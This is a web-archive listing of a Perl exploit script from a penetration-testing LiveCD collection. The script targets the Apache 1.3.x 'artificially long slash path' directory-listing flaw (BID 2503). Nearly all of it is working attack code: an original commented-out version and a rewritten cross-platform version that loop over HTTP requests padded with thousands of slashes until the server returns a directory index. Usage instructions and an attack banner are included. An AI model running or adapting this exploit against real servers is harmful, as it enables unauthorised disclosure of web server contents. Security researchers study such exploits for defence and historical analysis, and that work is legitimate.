home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apache2.pl < prev    next >
Perl Script  |  2005-02-12  |  7KB  |  215 lines

  1. #!/usr/bin/perl
  2. #
  3. # orginal by farm9, Inc. (copyright 2001)
  4. # new modified code by Siberian (www.sentry-labs.com)
  5. #
  6. ########################################################################################
  7. #
  8. # Note: This isn't the orginal exploit! This one was modified and partly rewritten. 
  9. #
  10. # Changes:
  11. #
  12. # - help added (more user firendly :-) )
  13. # - messages added 
  14. # - exploit is now able to be executed on WinNT or 2k.
  15. # - uses perl version of BSD sockets (compatible to Windows)
  16. # Rewriter's Note: I rewrote (I was bored to death that evening :-) ) some
  17. # of the code and made it esaier to use and cross platform compatible.
  18. # The old verion used a esaier but not that compaible way of socket stream communication.  
  19. # Any network code was replaced by cross platform compatible BSD sockets.
  20. # (much better than any other stream method :-) )
  21. # Tested with Perl 5.6 (Linux) and ActivePerl 5.6 (Win32)
  22. #
  23. # Original comment and source is attached below.
  24. #
  25. ########################################################################################
  26. #
  27. # Name: Apache Artificially Long Slash Path Directory Listing Exploit
  28. # Author: Matt Watchinski
  29. # Ref: SecurityFocus BID 2503
  30. #
  31. # Affects: Apache 1.3.17 and below
  32. # Tested on: Apache 1.3.12 running on Debian 2.2
  33. #
  34. # Info:  This exploit tricks apache into returning a Index of the a directory
  35. #    even if an index.html file is present.  May not work on some OS's
  36. #
  37. # Details: http_request.c has a subroutine called ap_sub_req_lookup_file that in
  38. #       very specific cases would feed stat() a filename that was longer than
  39. #       stat() could handle.  This would result in a condition where stat()
  40. #       would return 0 and a directory index would be returned instead of the
  41. #       default index.html.
  42. #
  43. # Code Fragment: /src/main/http_request.c
  44. #    if (strchr(new_file, '/') == NULL) {
  45. #        char *udir = ap_make_dirstr_parent(rnew->pool, r->uri);
  46. #
  47. #        rnew->uri = ap_make_full_path(rnew->pool, udir, new_file);
  48. #        rnew->filename = ap_make_full_path(rnew->pool, fdir, new_file);
  49. #        ap_parse_uri(rnew, rnew->uri);    /* fill in parsed_uri values */
  50. #        if (stat(rnew->filename, &rnew->finfo) < 0) {   <-- Important part
  51. #            rnew->finfo.st_mode = 0;
  52. #        }
  53. #
  54. # Conditions: Mod_dir / Mod_autoindex / Mod_negotiation need to be enabled
  55. #          The directory must also have the following Options enabled:
  56. #             Indexes and MultiView
  57. #          Some OS's have different conditions on the number of character
  58. #          you have to pass to stat to make this work.  If stat doesn't
  59. #          return 0 for path names less than 8192 or so internal apache
  60. #          buffer checks will stop this exploit from working.
  61. #
  62. #           Debian needed around 4060 /'s to make this work.
  63. #
  64. # Greets: Special thanks to natasha who added a lot of debug to apache for me
  65. #      while i was trying to figure out what had to be enabled to make this
  66. #      exploit work.  Also thanks to rfp for pointing out that MultiView
  67. #      needed to be enabled.
  68. #
  69. # More Greets:  Jeff for not shooting me :) <All your Cisco's belong to us>
  70. #               Anne for being so sexy <I never though corporate espionage
  71. #                   would be so fun>
  72. #               All my homies at farm9
  73. #               DJ Charles / DJ NoloN for the phat beats
  74. #               Marty (go go gadget snort)
  75. #               All my ex-bees
  76. #               RnVjazpIaXZlcndvcmxk
  77. #
  78. # I think that wraps it up.  Have fun.
  79. #
  80. # Usage: ./apacheIndex.pl <host> <port> <HI> <Low>
  81. # Where: Hi and low are the range for the number of / to try
  82. #
  83. #use IO::Socket;
  84. #
  85. #$low  = $ARGV[3]; #Low number of slash characters to try
  86. #$hi   = $ARGV[2]; #High number of slash characters to try
  87. #$port = $ARGV[1]; #Port to try to connect to
  88. #$host = $ARGV[0]; #Host to try to connect to
  89. #
  90. # Main loop.  Not much to this exploit once you figure out what needed to
  91. # be enabled.  Need to do some more testing on sub-dirs to see if it
  92. # works with them.  It should. Also different OS's might use a different number
  93. # of /.  Send me the numbers if you don't mind matt@farm9.com
  94. #
  95. #while($low <= $hi)
  96. #{
  97. #
  98. #$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "TCP") or die "Connect Failed";
  99. #
  100. #  $url = "";
  101. #  $buffer = "";
  102. #  $end = "";
  103. #
  104. #  $url = "GET ";
  105. #  $buffer = "/" x $low . " HTTP/1.0\r\n";
  106. #  $end = "\r\n\r\n";
  107. #
  108. #  $url = $url . $buffer . $end;
  109. #
  110. #  print $socket "$url";
  111. #  while(<$socket>)
  112. #  {
  113. #    if($_ =~ "Index of")
  114. #    {
  115. #      print "Found the magic number: $low\n";
  116. #      print "Now go do it by hand to to see it all\n";
  117. #      close($socket);
  118. #      exit;
  119. #    }
  120. #  }
  121. #
  122. #  close($socket);
  123. #  $low++;
  124. #}
  125.  
  126.  
  127. use Socket;
  128.  
  129. print "Apache Artificially Long Slash Path Directory Listing Exploit\nSecurityFocus BID 2503\n\n";
  130. print "original exploit code written by Matt Watchinski (www.farm9.com)\n";
  131. print "rewritten and fixed by Siberian (www.sentry-labs.com)\n\n";
  132. $host = shift || 'localhost'; #Host to try to connect to
  133. $port = shift || '80'; #Port to try to connect to
  134. $hi   = shift || '100'; #High number of slash characters to try
  135. $low  = shift || '0'; #Low number of slash characters to try
  136. if(($host eq 'localhost') && ($port eq '80') && ($hi eq '100') && ($low eq '0')) {
  137. print 'Usage: ./apache2.pl <host> <port> <HI> <Low>';
  138. print "\nHi and low are the range for the number of \/ to try\n";
  139. exit 0;
  140. }
  141.  
  142. print "\ntarget: $host";
  143. print "\nport: $port";
  144. print "\nhi: $hi";
  145. print "\nlow: $low\n\nStarting attack...\n\n";
  146.  
  147. # Main loop.  Not much to this exploit once you figure out what needed to
  148. # be enabled.  Need to do some more testing on sub-dirs to see if it
  149. # works with them.  It should. Also different OS's might use a different number
  150. # of /.  Send me the numbers if you don't mind matt@farm9.com
  151.  
  152. $url = "";
  153. $buffer = "";
  154. $end = "";
  155.  
  156. #$port = (getservbyname($port, 'tcp') || die "No port!");
  157.  
  158. $iaddr = inet_aton($host);
  159. $paddr = sockaddr_in($port, $iaddr) or die "Faild ...  SOCKADDR_IN!";
  160.  
  161. $proto = getprotobyname('tcp');
  162.  
  163. while($low <= $hi) {
  164.  
  165. socket(SOCKY, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  166. connect(SOCKY, $paddr ) or die "connect: $!";;
  167.  
  168. $url = "GET ";
  169. $buffer = "/" x  $low .  " HTTP/1.0\r\n";
  170. $end = "\r\n\r\n";
  171.  
  172. $url = $url . $buffer . $end;
  173.  
  174. print ".";
  175.  
  176.  send(SOCKY,$url,0) or die "send: $!";;
  177.  
  178.  while((recv(SOCKY,$out,1,0)) && ($out ne "")) { 
  179.     if($out eq "I") {
  180.      recv(SOCKY,$out,1,0);
  181.      if($out eq "n") {
  182.       recv(SOCKY,$out,1,0);
  183.       if($out eq "d") {
  184.        recv(SOCKY,$out,1,0);
  185.        if($out eq "e") {
  186.         recv(SOCKY,$out,1,0);
  187.         if($out eq "x") {
  188.          recv(SOCKY,$out,1,0);
  189.           if($out eq " ") {
  190.            recv(SOCKY,$out,1,0);
  191.            if($out eq "o") {
  192.             recv(SOCKY,$out,1,0);
  193.              if($out eq "f") {
  194.            print "Found the magic number: $low\n";
  195.            print "Now go do it by hand to to see it all\n";
  196.            close(SOCKY);
  197.            exit 0;
  198.            }  
  199.           }  
  200.          }  
  201.         }  
  202.        }
  203.       }  
  204.      }  
  205.     }
  206.    }
  207.  
  208.   close(SOCKY);
  209.   $low++;
  210. }
  211. print "\n\nNot vulnerable :-(\nCheck some other numbers.\n";
  212.  
  213.